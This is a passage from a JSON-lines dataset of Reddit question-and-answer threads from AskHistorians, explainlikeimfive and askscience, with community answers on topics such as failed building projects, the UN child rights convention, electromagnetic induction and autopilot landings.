proposed to reconstruct London on an efficient grid system that would have seen London transformed into something a lot closer to modern day Manhattan. \n\n[Valentine Knight's Plan for London](_URL_2_)\n\nKnight's plan was perhaps the most ruthless, it proposed splitting london up into a series of highly profitable strips of land divided by lanes each the perfect width to accommodate a narrow block of houses. He also introduced a canal in a loop from Billingsgate to the River Fleet. He said the king could raise money by charging people fees for using the canal and through fines. This would finance the rebuilding. The King was most offended by the suggestion that he would want to 'draw a benefit to himself, from so publick a Calamity of his people' and had Knight arrested.\n\n**Conclusion**\n\nIn the end non of the plans were adopted. Rebuilding was financed by private enterprise and the desire was to rebuild quickly. Without heavy government involvement to carve new roads across exisiting building plots and ancient routes, the possibility of organising building on such an enormous scale proved to be unfeasible. Much of the ancient layout of the City remained, but rebuilt in brick and stone. \n\nBut it is interesting to consider how close we came to having a London that is completely different to the one we have now. Perhaps one with baroque boulevards of Paris, or perhaps on with the efficient grid system of New York. Either way we could of lost the organic and historically rich and interesting city of the London we have today.  ", "I propose the [Elephant of the Bastille](_URL_1_).\n\nIn an effort to build around the area of the former Bastille, Napoleon aimed to build a giant elephant to commemorate his victories in 1808. It was to be twenty four meters tall and be made of bronze from the melted down cannons of his enemies. Construction started in 1810 and a plaster  &  wood model was finished by 1814 but the original idea was never completed due to Napoleon's defeat. From here, it would slowly decay into...\n\n[The House of Gavroche](_URL_0_) and other street urchins in Victor Hugo's *Les Mis\u00e9rables*. The novel immortalized this dying monster with this description:\n\n > It was falling into ruins; every season the plaster which detached itself from its sides formed hideous wounds upon it. \"The aediles,\" as the expression ran in elegant dialect, had forgotten it ever since 1814. There it stood in its corner, melancholy, sick, crumbling, surrounded by a rotten palisade, soiled continually by drunken coachmen; cracks meandered athwart its belly, a lath projected from its tail, tall grass flourished between its legs; and, as the level of the place had been rising all around it for a space of thirty years, by that slow and continuous movement which insensibly elevates the soil of large towns, it stood in a hollow, and it looked as though the ground were giving way beneath it. It was unclean, despised, repulsive, and superb, ugly in the eyes of the bourgeois, melancholy in the eyes of the thinker. (Here I must thank Wikipedia for the ease of giving this quote). \n\nIt eventually was torn down in 1846 due to dilapidation.", "For modern towers there is the [John Hancock building](_URL_1_) in Boston. It has had a number of different problems. The most famous is that the windows would pop out and crash to the sidewalk. Amazinly no one was ever killed. It also has had issues with how the building handles wind load. The building is still standing though, and many people now consider it a success. \n\nFor ancient constructions I like the [Colossus of Rhodes](_URL_0_). It has been described as similar to the Statue of Liberty in form, but only stood for 56 years before being toppled in an earthquake. That it fell isn't so strange, the fact that it was then left where it collapsed for hundreds of years is amazing to think about. ", "The history of the early automobile is full of examples of engineering and construction failures, but I thought I'd share an example of a company who was able to turn it to their advantage.  \n\nIn 1911, one of Cadillac's primary competitors for the luxury car market, Packard, introduced a car with a [straight 6 engine](_URL_1_). By 1914, Cadillac's dependable [straight 4](_URL_6_) was woefully out of date, so for the 1915 model year Cadillac introduced the [first production V8](_URL_0_) in America. It was a bit of a flop - the engine was prone to short circuits and fires. Packard made the most of this in their sales literature, touting the proven reliability of their 6 cylinder engine. Cadillac's reputation for quality and dependability was in serious question, and drastic action was needed.  \n\nTheodore MacManus, head of advertising for Cadillac, had a radical solution. He wrote an adver-torial (advertisement/editorial). It ran exactly once, in the *Saturday Evening Post.* In contrast to the [full-color,](_URL_5_) [illustrated](_URL_2_) [advertisements](_URL_4_) of it's competitors, Cadillac's ad was black and white. Nowhere in the text of the ad are engines, reliability, Packard, or the industry mentioned. Except for a small Cadillac logo in the corner, one wouldn't even know what the advertisement was for.  \n\nBut [the ad was incredible.](_URL_3_) (Seriously. Read it. It sends shivers down my spine.)  \n\n*The Penalty of Leadership* is widely regarded as one of the greatest advertisements ever written. MacManus turns the mediocrity of the Cadillac V8 engine, and Packard's criticisms, into a tale of the conflict between pioneers and reactionaries. MacManus draws parallels between Cadillac and James McNiell Whistler, Richard Wagner, and Robert Fulton, and casts the Packard Motor Company and other detractors as \"Spiteful Little Voices.\" The advertisement ends with the powerful line, \"That which is good or great makes itself known, no matter how loud the clamor of denial. That which deserves to live\u2014lives.\"", " >  First of all, we all know about the great successes of construction in the past - things like the Pyramids, the Great Wall, etc.\n\nInterestingly, the Great Wall isn't that much of a success at all! To gauge how much of a success or a failure it was, it's a good idea to understand for why and how it was built. A word on terminology first: What we see today as \"the Great Wall\" was a Ming dynasty construction (the most famous stretches around Beijing were built in the 16th century), but nowadays we use the term \"Great Wall\" (or *changcheng* in Chinese) to refer to the various ramparts built in the north since the Qin dynasty (2nd century BC). The early Great Walls of the Qin and its predecessors were not walls of defense - they were built to wall off newly acquired territory. These walls never really worked out for them because when the Qin was hit with rebellions, these walls were abandoned and the nomads got back in to resettle the area. The take away point from this is that any wall needs to be manned adequately for it to be effective, no matter what purpose it serves.\n\nThe Ming dynasty walls did not rise out of a conscious concerted policy, rather, it was born out of a \"failure of policy\". Unable to eliminate the Mongol threat and unwilling to negotiate with them, the imperial court does not know how exactly to deal with the problem, so the commanders in charge of the northern frontier regions built walls to defend their areas of responsibility as they were an imperially acceptable compromise. The first walls in the Ordos region merely redirected the Mongol raids to other areas, and so the commanders of those other areas built walls of their own. These piecemeal constructions eventually joined together into the semi-continuous \"Great Wall of China\" today. There wasn't one emperor or one minister who one day decided to wrap China in wall and be done with it, the Great Wall was something that eventually came to be.\n\nIf there wasn't a \"wall mentality\" in the beginning, there certainly was after Altan Khan rode around the newly built walls and raided the suburbs of Beijing in 1550. Much effort was spent filling in the gaps in the already mountainous region, with a Ming official explaining that the goal should be to \"not let a single horse in\". Even so, some Mongol raiders climbed through treacherous terrain and killed a number of high ranking military officers in 1576, making the incident severe enough to warrant even more drastic measures, such as [this confounding stretch of wall above a cliff called the Stairway to Heaven](_URL_1_). Wall constructions continued all the way until the end of the Ming dynasty in 1644.\n\nSo how did it work out? The most famous episode of its \"failure\" is when Wu Sangui, the last defender of the Great Wall at Shanhai Pass, opened the gates and let the Manchus march into Beijing in 1644, beginning the Qing dynasty. Some people point to this and say the Great Wall was never tested and only fell to treachery, but the reality is that Beijing already fell to internal rebels and Wu Sangui was caught between two enemies within and without the Wall, so he essentially had to pick a side. More importantly, the Manchus had breached the Great Wall several times before 1644 and made raids around Beijing and as far south as the Shandong peninsula! How were the Manchus able to puncture the walled border, seemingly at will? I will again emphasize that **any wall needs to be manned adequately for it to be effective**. By the end of the Ming, fighting men were needed all over the empires to deal with internal revolts (as the Ming economy broke down due to various factors) and the Manchu threat. There simply wasn't enough men (or the money to pay them) to man the whole length of the Wall, so the bulk of the defenders were at Shanhai Pass. The Manchus simply rode around and attacked the lesser defended passes. In light of this, the Great Wall of China was certainly a failure as the resources spent on building the wall could well be used on other things like paying the soldiers, critically, and a unmanned wall was not going to defend itself.\n\nIn recent times the Great Wall had a revival of sorts and truly became \"Great\" due to western fascination with the wall (mixed with Orientalism) and recent Chinese propaganda. [I wrote about the former in a previous Monday Mystery.](_URL_0_) Great Wall of defense it wasn't, but its new life as a tourist spot and national symbol sure is working out nicely!", "Fonthill Abbey was a relatively famous collapsing building. \n\nIt was a large folly / home built by William Beckford that aped the Gothic cathedrals in sicale and design. However was built badly and very quickly and eventually collapsed (just after being sold)\n\n_URL_1_\n\nThe story has been exaggerated in parts, but the collapse must have been dramatic\n_URL_0_\n\n\n/Apologies if this is not in depth enough, i'm just visiting form r/architecture\n"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/1gz7ac/monday_mysteries_your_family_mysteries/", "http://www.reddit.com/r/AskHistorians/comments/1mz6ge/monday_mysteries_suggestion_thread_please_read/", "http://www.reddit.com/r/AskHistorians/comments/1hfffk/monday_mysteries_contested_reputations/", "http://www.reddit.com/r/AskHistorians/comments/1e9el2/monday_mysteries_ancient_ruins/", "http://www.reddit.com/r/AskHistorians/comments/1ofh5x/monday_mysteries_historical_historical/", "http://www.reddit.com/r/AskHistorians/comments/1mi2xe/monday_mysteries_difficulties_in_your_research/", "http://www.reddit.com/r/AskHistorians/comments/1dslor/monday_mysteries_decline_and_fall/", "http://www.reddit.com/r/AskHistorians/comments/1j9zv8/monday_mysteries_verifiable_historical/", "http://www.reddit.com/r/AskHistorians/comments/1icd0x/monday_mysteries_leastaccurate_historical_books/", "http://www.reddit.com/r/AskHistorians/comments/1owfcu/monday_mysteries_historical_oneofs/", "http://www.reddit.com/r/AskHistorians/comments/1ko1ic/monday_mysteries_missing_persons/", "http://www.reddit.com/r/AskHistorians/comments/1l48li/monday_mysteries_lost_and_found_treasures/", "http://www.reddit.com/r/AskHistorians/comments/1jqrya/monday_mysteries_the_historical_foundations_of/", "http://www.reddit.com/r/AskHistorians/comments/1gj0q2/monday_mysteries_what_in_your_research_is_proving/", "http://www.reddit.com/r/AskHistorians/comments/1hv6me/monday_mysteries_literary_mysteries/", "http://www.reddit.com/r/AskHistorians/comments/1eoypm/monday_mysteries_unsolved_crimes_in_history/", "http://www.reddit.com/r/AskHistorians/comments/1itbtx/monday_mysteries_difficulties_in_your_research/", "http://www.reddit.com/r/AskHistorians/comments/1f57b0/monday_mysteries_fakes_frauds_and_flimflammery_in/", "http://www.reddit.com/r/AskHistorians/comments/1t0i3n/monday_mysteries_historical_and_archaeological/", "http://www.reddit.com/r/AskHistorians/comments/1fl9uw/monday_mysteries_local_history_mysteries/", "http://www.reddit.com/r/AskHistorians/comments/1g1we7/monday_mysteries_lost_lands_and_peoples/", "http://www.reddit.com/r/AskHistorians/comments/1rf8su/monday_mysteries_great_turnabouts_and_reversals/", "http://www.reddit.com/r/AskHistorians/comments/1tjbmd/monday_mysteries_your_work/", "http://www.reddit.com/r/AskHistorians/comments/1pvke8/monday_mysteries_what_are_some_relatively_new/", "http://www.reddit.com/r/AskHistorians/comments/1m18cv/monday_mysteries_what_are_the_most_outlandish_or/", "http://www.reddit.com/r/AskHistorians/comments/1nwud6/monday_mysteries_secret_societies_cults_and/", "http://www.reddit.com/r/AskHistorians/comments/1qwop5/monday_mysteries_the_great_accidents_and/", "http://www.reddit.com/r/AskHistorians/comments/1cvbaz/monday_mysteries_missing_documents_and_texts/", "http://www.reddit.com/r/AskHistorians/comments/1ce73h/monday_mysteries_notable_disappearances/", "http://www.reddit.com/r/AskHistorians/comments/1k7cmp/monday_mysteries_mysterious_images/", "http://www.reddit.com/r/AskHistorians/comments/1lkw4j/monday_mysteries_inexplicable_occurrences_in/", "http://www.reddit.com/r/AskHistorians/comments/1dcbb3/monday_mysteries_lost_and_found_treasure/", "http://www.reddit.com/r/AskHistorians/comments/1pdsu3/monday_mysteries_meetings_preferably_unusual_or/", "http://www.reddit.com/r/AskHistorians/comments/1rx22w/monday_mysteries_parenthood_problems_and/", "http://www.reddit.com/r/AskHistorians/comments/1nfzpn/monday_mysteries_astonishing_individuals/"], "answers_urls": [["http://rosswolfe.files.wordpress.com/2011/04/03.jpg"], ["http://en.wikipedia.org/wiki/Maginot_Line", "https://www.ww2incolor.com/d/441841-4/img001_001", "http://spreadzero.com/blog/wp-content/uploads/2010/08/maginot-line.jpg", "http://upload.wikimedia.org/wikipedia/en/0/0b/Maginot_Line_ln-en.PNG", "http://www.techlawforum.net/assets/content//images/Hochwald_historic_photo.jpg"], ["http://www.vasamuseet.se/ImageVaultFiles/id_3463/cf_280/kungens_skepp_8.JPG", "http://www.vasamuseet.se/en/"], ["http://www.youtube.com/watch?v=nFzu6CNtqec"], ["http://www.fordham.edu/halsall/ancient/pliny-letters.asp", "http://www.ephesustoursguide.com/wp-content/uploads/2013/05/iznik-nicea-theater.jpg"], ["http://en.wikipedia.org/wiki/Fidenae_amphitheatre_collapse#Stadium_disaster"], [], ["http://upload.wikimedia.org/wikipedia/commons/9/95/1744_Wren_Map_of_London,_England_-_Geographicus_-_London-wren-1744.jpg", "https://www.raremaps.com/maps/medium/22128.jpg", "http://archive.museumoflondon.org.uk/Londons-Burning/objects/image.htm?rid=62262&amp;size=3&amp;pid=9&amp;personid=150769", "http://en.wikipedia.org/wiki/Great_Fire_of_London", "http://www.bl.uk/learning/timeline/external/greatfiremap-l.jpg", "http://community.middlebury.edu/~slides/HA220/images/aoc170.jpg", "https://goo.gl/maps/PGXm8", "http://upload.wikimedia.org/wikipedia/commons/d/dd/John_Evelyn's_plan_rebuilding_London_Great_Fire_1666.png"], ["http://upload.wikimedia.org/wikipedia/commons/6/62/El%C3%A9phant_Bastille_Les_Mis%C3%A9rables.jpg", "http://upload.wikimedia.org/wikipedia/commons/7/74/Elephant_de_la_Bastille_aquarelle_de_Jean_Alavoine.jpg"], ["https://en.wikipedia.org/wiki/Colossus_of_Rhodes", "https://en.wikipedia.org/wiki/John_Hancock_Tower#Engineering_flaws"], ["http://www.underhoodservice.com/Content/Site308/Articles/03_01_2009/7497001915GMeng_00000031968.jpg", "http://files.conceptcarz.com/img/Packard/12_Packard-1-48_Custom-DV_11-RMA_e001.jpg", "http://rlv.zcache.com/stevens_duryea_automobile_advertisement_poster-ra806499c30934ad1b020b27703db1289_xtxq_8byvr_512.jpg", "http://www.wcroberts.org/Paige_History/Images/1915-01-02%20Cadillac.jpg", "http://rlv.zcache.com/oakland_motor_car_vintage_1913_auto_ad_cars_poster-r3eace2658bd54b1faa4cf199d7b66dcc_wa9_8byvr_512.jpg", "http://www.atticpaper.com/prodimages/090610_A/piercearrow.jpg", "http://3.bp.blogspot.com/-AWSNK5jJuGg/Tb3TNwFMiNI/AAAAAAAAA5w/yc2lH_G-tJw/s1600/20110501Cadillac1914.jpg"], ["http://www.reddit.com/r/AskHistorians/comments/1t0i3n/monday_mysteries_historical_and_archaeological/ce3qswc?context=3", "https://upload.wikimedia.org/wikipedia/commons/5/57/%E5%8C%97%E4%BA%AC%E5%8F%B8%E9%A9%AC%E5%8F%B0%E9%95%BF%E5%9F%8E.jpg"], ["http://www.skyscrapercity.com/showthread.php?t=186745", "http://www.fonthill.co.uk/fonthill-history"]]}
{"q_id": "41ni05", "title": "why has the usa not ratified the un convention on the rights of the child?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41ni05/eli5why_has_the_usa_not_ratified_the_un/", "answers": {"a_id": ["cz3ppya", "cz3s3lh"], "score": [16, 6], "text": ["Originally, because it forbade both the death penalty and life imprisonment for children. The constitutionality of these punishments for children was not conclusively decided until 2005 and 2012 respectively.\n\nIt also contradicts US adoption laws in many states.\n\nNote that many countries that have adopted regularly violate it, so its practicality is not certain.", "The United States often does not join international conventions on principle, whereas many other countries join these conventions but routinely violate them, which is of course not any better. In this case, the convention includes certain statements on the best way to raise children, as well as limits on conscription of children that contradict the current American practice of letting people age 17 enlist in the military with their parent's permission. As /u/bananodictatorship noted, some of its justice-related provisions were also controversial.\n\nSenators are rare eager to be seen giving away American sovereignty to the United Nations (whether real or imagined), so they tend to be quite conservative when considering these treaties."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "23pknw", "title": "Astronomers, could we detect ourselves?", "selftext": "Assuming there was another earth-like planet with earth level beings and 20th level earth technology, what is the maximum range we could detect their radio transmissions at?\n\nI have trouble getting radio signals on the road between LA and Las Vegas, could folks in Alpha Centauri really be listening to Beyonce?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23pknw/astronomers_could_we_detect_ourselves/", "answers": {"a_id": ["cgzeza7", "cgzom7d"], "score": [42, 19], "text": ["If there was a planet just like Earth orbiting Alpha Centauri, we couldn't detect their normal radio/tv transmissions from more than a light year away. But if they aimed a powerful directed signal at us, and we were listening to Alpha Centauri at the time, then we might be able to detect it.", "It would be a challenge to detect ourselves, and that applies on several levels.\n\nFirst, let's talk about detecting the planets in our Solar System. Right now only Jupiter could realistically be detected using a radial velocity technique. But that would require observing our star for a minimum of 12 years and also require the relative angle of our system to be detectable (as a guess I'd say there's maybe a 50% chance of that). Even so, after 12+ years of observations evidence of Earth would not be present, only Jupiter. Using transit based detection systems most of the planets in our system could be detected, including Earth, but that would rely on an even more fortuitous alignment of orbital planes (about 1 in 100).\n\nSecond, let's talk about detecting radio transmissions. Omnidirectional RF signals would not easily be detected even by a dedicated SETI search several light years away. Some signals such as military radars or interplanetary radar (used to survey asteroids, for example) are strong enough and focused enough to be detected but again that's a crap shoot.\n\nThe likelihood is that we, looking at a twin of our Solar System, would not detect anything interesting.\n\nThat will change over the next several years/decades as our technology improves. We'll be able to detect planets using direct imaging and will be able to analyze the spectra of those planets to look for signs of a biosphere. But it'll still be a long time before we are able to detect alien technological civilizations that are not intentionally trying to contact us."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bc03yq", "title": "does the same thing taste different, for different people?", "selftext": "For example, John and Jacob eat an apple, does it taste the same, or do taste buds change how it will taste for each person?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bc03yq/eli5_does_the_same_thing_taste_different_for/", "answers": {"a_id": ["ekmrce1", "ekmx58i", "ekmy04i"], "score": [16, 3, 3], "text": ["Yes. Your taste is determined by a mix of genes and exposure to foods as you grow. For example: there\u2019s a chemical strip test that has a base in it, some people taste it (it\u2019s bitter) and some don\u2019t. I think being able to taste it is the dominant trait. \n\n\nAlso I had an anthropology professor who worked in Africa for a while, he said the kids there couldn\u2019t stand the taste of peanut butter. I grew up having peanut butter in the house my entire life. \nSo everyone tastes things at least a little differently", "A great mental exercise is thinking of ways to prove we all see the same colors the same way.", "Taste is really insane how it works. We essentially have a multitude of \u201ctaste receptors\u201d on our tongue and it isn\u2019t the individual signal of one receptor that triggers a taste profile but rather the multitude of receptors triggered together. If you eat something and think \u201cthis tastes like an apple\u201d it is actually many taste receptors stimulating together to create \u201csweet/apple\u201d perception. You can imagine by this there is a vast degree of variability in taste receptors and their combinations and therefore people have very different taste profiles. \n\nThere\u2019s a ton of information on taste variation and how we experience taste differently if you google search \u201cgenetic taste variation\u201d"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fotup", "title": "If species are capable of evolving resistances and immunities to human pollution, is reducing pollution that big of a deal?", "selftext": "Let me start by clarifying that I am an environmentalist and detest pollution; my question is an honest one. It was spurred by this article:\n\n_URL_0_\n\nAnd of course there's [Nylon-eating bacteria](_URL_1_)\n\nI can't find them right now, but there are multitudes of reports of organism evolving resistances to human-produced waste and pollution.\n\nNow I know that in the short term results will be catastrophic: mass die-offs, bottlenecking of populations worldwide, ecological collapse. But in a few centuries, won't the surviving species proliferate, diversify, and create new ecologies in a anthropocentric world?\n\nI guess my question is: is it really so bad if we fail to prevent pollution today? I know we should do everything we can to do so, but the worst case scenario seems not to be that bad.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fotup/if_species_are_capable_of_evolving_resistances/", "answers": {"a_id": ["c1hio07", "c1hiorb", "c1hioxb", "c1hisjt", "c1hitg4", "c1hizg7"], "score": [2, 6, 2, 2, 5, 2], "text": ["The earth will carry on, with or without the species currently living on it. We, however, depend on the current biosphere. Some species may develop adaptations or immunities to the new environment we've created, but not enough of them, and not quickly enough.", "Regardless of all the cute pandas, pollution ultimately fucks *us* over.", "have you evolved to be pollution resistant? \r\n\r\ncancer is often linked to pollution/chemical exposure... and its also a major killer...", "It sounds like your reasoning is that \"life will find a way\". It does, but only 0.1% of the time.", "YES, because we are fucking with a system that works.  We don't know IF a species will develop resistance or simply die out.", "The primary reason I worry about pollution is its effects on public health and quality of life.  For example, reactive airway disease and lung cancer are worse in areas with poor air quality. "]}, "title_urls": [], "selftext_urls": ["http://news.nationalgeographic.com/news/2011/02/110217-hudson-river-pcb-fish-evolution-water/?source=link_tw20110218news-fish", "http://en.wikipedia.org/wiki/Nylon-eating_bacteria"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "772d0x", "title": "How fast would a metal object have to move through Earth's magnetic field to generate significant electrical current?", "selftext": "Say you have a 10 meter long conductor. How fast would it need to move to generate a few milliamps? Enough to light a low power LED?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/772d0x/how_fast_would_a_metal_object_have_to_move/", "answers": {"a_id": ["doivpxn", "doixb1x", "doiy8y1", "doiybnd", "doj3d0u", "doj5y9c", "doj8gs2", "doj9q28", "dojbcqa"], "score": [1329, 310, 105, 17, 4, 11, 2, 11, 6], "text": ["I actually tried to find this out a couple of years ago for a story I was trying to write. It turns out satellites actually have to deal with this problem of current being generated by their own movement.\n\nI couldn't find out much information though. The best I could find was [Charge and magnetic field interaction with satellites](_URL_1_). Also, [this paper](_URL_0_) has a lot of information. Bear in mind that the magnetic field is not the only source of charge -- particles can affect it too.\n\nIt seems like you might be able to get a few volts (~10V maybe), but the current would of course depend on the resistance. ", "A regular open wire won't exactly generate a current, if you assume it to be a perfect conductor, but there will be an electromotive force that you can calculate. You could then turn that into a current if you knew the real resistance of your wire or circuit.\n\nThe Earth's surface might see a magnetic field of 0.5 gauss, or 1/20,000 volt-seconds per meter squared. By fiddling with the units (and taking the reciprocal) you get an expression of 20,000 meters per second, per volt per meter. To generate one volt across a one meter wire, you need to move it at 20,000 meters per second in the *optimal* orientation. That's a little faster than is practical, though it's approaching numbers like what you'd see on a satellite. Make the antenna bigger, or the voltage requirement lower, and that lowers the required speed.\n\nBasically if you had a satellite in orbit at 7000 m/s, and you put an LED in the middle of what is essentially an antenna that was about 3 meters long, and had it oriented against the magnetic field... that might just generate enough EMF to at least overcome the LED's forward voltage and technically generate some light. (edit: It really won't generate light continuously due to there not being an actual circuit. For that you really need to make it a loop so those charges can get back around.)\n\n(I also expect this would generate some torque on the satellite, eventually turning it away from the magnetic field lines or slowing it down. You can't get something for nothing!)", "This is actually a really interesting question because you specify current instead of voltage. Normally, a metal object in space can't get charge to flow. If you have a straight wire, it forms an open circuit with nowhere for charge to go, so current can't really happen. If you have a loop, essentially you still have that wire in space, but you just split it in half. There is still a voltage generated by the magnetic field, but this time its the top of the loop and the bottom of the loop. So how do we get current to flow?\n\nIt turns out if we are in the ionosphere we can actually interact with the surrounding plasma to gain electrons and and emit electrons to complete our circuit! If you have an electron emitter at the top of your loop, then the wire can exchange charge and make a current. \n\nNow to actually answer your question. If you are going around 7km per second, the earth's magnetic field is around 25 uTeslas, then the voltage will be around 175 mV per meter of length. This, combined with the resistivity of your metal will determine how much current will move through the wire. What you are much more likely to be limited by is how much current you can collect or emit, which is limited by the plasma temperature, the electron emitter, and a host of other factors. \n\nIf this seems interesting, check out Electrodynamic Tethers. They're a form of satellite propulsion that is really interesting, especially for small scale satellites\n\nSource: working on an an Electrodynamic tether for a university project. ", "The induced current is proportional to the change of the magnetic flux through a conductor loop. So the object should be a loop. To change the magnetic flux through it, you could spin it and thus generate an alternating current (AC). With the Faraday's law of induction, one can calculate that AC, given the cross-section of the current loop, its resistance and the frequency of spinning. I can do that tomorrow, because i have to go to bed now.\n\nBefore that, i give you a simpler and less relistic approach from German Wikipedia:\n_URL_0_\n\nThe voltage induced in that setup is U = vLB.\nThe speed of the conductor is then v = U/LB. With B = 40 uT, L = 10 m (big loop..) and U = 2V, you get a speed of 5000 m/s or 5 km/s.", "I recall reading (or was it YouTube) about a new experimental satellite in orbit what would actually do this, pull a metal cord behind it which should generate electricity ..\n\nThinking about it it might have something to do with that cord causing a magnetic field to pull in garbage and debris ", "As you give a length, it seems like you're heading in [Space Tether](_URL_1_) territory, specifically an [Electrodynamic Tether](_URL_0_) where, \"Electric potential is generated across a conductive tether by its motion through a planet's magnetic field.\"\n\nMy understanding is that as long as you're not in geosynchronous orbit you can generate current as you are then moving through the magnetic field and can use that to generate electricity.  As the magnetic field is more-or-less static in relation to the earth anything in geosynchronous orbit should be similarly relatively static in the magnetic field and unable to extract power from it.\n\n\nThe appropriate formula are in the second link, along with the following bit:  \n >  In 1996, NASA conducted an experiment with a 20,000-meter conducting tether. When the tether was fully deployed during this test, the orbiting tether generated a potential of 3,500 volts.\n\nIt probably doesn't scale down smoothly, but that suggests that a 10 meter length placed in the same orbit as the 1996 experiment would generate about 1.75 volts.\n\nLess further out, more closer in as the magnetic field is more diffuse further out and more concentrated further in as orbital velocities lower down are faster than ones further out, meaning that, all other things being equal, a low orbit means passing through a stronger magnetic field more rapidly, which should result in more electricity.", "You can actually work it out where the voltage = velocity x length times magnetic field string (velocity has to be perpendicular o the magnetic field) and then voltage = current times resistance\n\nOf course if you have a loop the build up of charge is in the same direction on both sides so a moving loop very rarely has a current \nRather a turning loop is used which is the basis of all electricity generation ", "Aircraft have been doing it for decades. Flux gate compass systems are basically a 3-phase generator, depending on the current generated from each coil, you can determine which direction is true north and then which direction you are pointing. \nIt's a very small current, but it's enough. ", "Lots of upvotes but few definite answers, so I'll try to take a shot at this...\n\n1) The magnetic field determines the *voltage*, not the current.  The current depends on other details of the circuit, which you haven't specified.\n \n2) you can't generate a current in a single straight wire: you need a closed loop out-and-back to complete the circuit.  But that's a problem, because if the circuit is moving in a straight line, the voltage induced in one half of the circuit will be opposite what's induced in the return half: they'll cancel each other out.\n\n3) To make this work, you need either an uneven magnetic field, or better, you need to *spin* your current loop.  This will create an alternating voltage.\n\nThe equation for [peak voltage induced in a loop spinning in a magnetic field](_URL_0_) is:\n\nV = 2 pi B A f\n\nwhere B is the field strength, A is the area of the loop, and f is the frequency (revolutions per second).  For Earth, B is around 50 x 10^-6 Tesla; for a typical white LED, V = 3 volts.  Let's suppose we use a current loop in the shape of a rectangle, 10 meters x 1 meter, similar to the OP's question.\n\n**The upshot: to light a white LED using the Earth's magnetic field, you would need to spin a rectangular loop 10 meters x 1 meter in size at 1000 rotations per second!!!**\n\n4) And that's just for 3 volts at zero current.  As current flows through the circuit, it will create a magnetic field that partly cancels out the Earth's, so you have to spin even faster.  Fortunately if you only need enough current to light a white LED, this effect is pretty small."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.researchgate.net/profile/H_Garrett/publication/4699638_The_charging_spacecraft_surface/links/00b7d52c6ff63be66b000000.pdf", "http://onlinelibrary.wiley.com/doi/10.1029/JZ065i001p00001/abstract"], [], [], ["https://de.wikipedia.org/wiki/Elektromagnetische_Induktion#/media/File:Bewegter_Leiter_im_Feld-Feldlinienbild.svg"], [], ["https://en.wikipedia.org/wiki/Electrodynamic_tether", "https://en.wikipedia.org/wiki/Space_tether"], [], [], ["https://www.youtube.com/watch?v=atbioBvN8hE"]]}
{"q_id": "f7w994", "title": "why can\u2019t an auto pilot land a plane ?", "selftext": "i heard that a pilots job can\u2019t be replaced by a robot. Especially when the plane take off and land but I don\u2019t know why. Please explain like I\u2019m 5 and thank you in advance \ud83d\ude4f\ud83c\udffb", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f7w994/eli5_why_cant_an_auto_pilot_land_a_plane/", "answers": {"a_id": ["fig1z7s", "fig2x7z", "fig31fc"], "score": [2, 2, 16], "text": ["Flying is relatively simple once you're in the air. You have a bunch of readings/information about the plane and some preferred 'ranges' for those readings to be in. And, generally, you know what to do in order to change stuff. That makes it easy to write programs that are 'if x do y' and have those programs autopilot the plane.\n\n\nWhen you are landing there are significantly more things to account for which makes developing a program that can interpret all that stuff very difficult. Therefore it's better/safer/more reliable to have pilots do the landing.", "Take offs  &  especially landings have very complex environmental conditions that require Pilots to judge the situation and make real-time adjustments.\n\nIs there wind on the runway? Does this airport have strange areas of Low/high air pressure? Is there turbulence now? Is it snowing/raining? What is the material of the runway? Did someone accidentally park their truck on the runway?\n\nAll of these will drastically affect the plane\u2019s takeoff / landing, and although they can be monitored by electronic equipment, there is no flight system currently available that uses all this data to correct itself.\n\nAutopilot is very useful when flying up in the sky where there is nothing for the plane to interact with other than air. The speed and environmental conditions are very predictable, so it\u2019s relatively easy to program a system to handle it.", "Modern Auto pilot can in fact land a plane on it's own, but that accounts for less than 1% of all commercial landings.\n\nPilot's generally prefer to use the autopilot to manage the flight and conduct the approach (turning towards the airstrip) and then conduct the takeoff and landing themselves.\n\nThere's a number of reasons for this\n\n1 - Pilot's like doing landings and like practicing their skills. If you don't practice you can't get good at it.\n\n2 - Landing is the riskiest part of the flight and the autopilot can't account for everything, like weather, traffic, or sudden winds and turbulence. The pilot's have to monitor the aircraft when the autopilot is on and they find auto landing to be very stressful, so it's better for them to have control of the aircraft so they can react more quickly if there is a problem.\n\n3 - Auto-landings aren't as comfortable for passengers and take longer to slow down than pilot controlled landings.\n\n4 - The use of autoland is restricted by aircraft regulations and often can't even be used.\n\nAutoland requires very accurate sensors like GPS and ILS (Instrument Landing System) guidance which is supplied by beacons on the ground and is not always available. It's up to the Pilot to analyze this data on the instruments and use his intuition and experience to guide the plane in. Sometimes the best sensors are the 2x pilots 4x eyeballs, but tbf they can also get it wrong. The autopilot on the other hand is just a computer program, it performs its task as it's programmed and can't account for every situation. That's why there are still 2 pilots in the cockpit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2fhyxr", "title": "How did they get food in ancient desert-y areas (Persia Arabia etc.)?", "selftext": "I've often wondered how they could get food. Of course a city was by the sea fishing would be very important, but when i hear about the Persian empire i often wondered if they farmed, or just transported food from more fertile areas.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2fhyxr/how_did_they_get_food_in_ancient_deserty_areas/", "answers": {"a_id": ["ck9emh4", "ck9f89s"], "score": [6, 12], "text": ["Can I ask for clarification here: I always thought that the Persian empire was fertile rather than arid. I just looked it up and it included the fertile crescent, the Nile valley and much of modern day Iran and Turkey, both of which have a high agricultural output now.", "It's important to realize that areas we think of as arid now were not always deserts. For example, take Mesopotamia. The sea used to be closer to Mesopotamia, providing a marshland. There were also human disasters, such as when a king diverted a river in a failed attempt to quell his restless people and couldn't put it back. There was also over farming, which made the land salty.\n(Sources: Van de 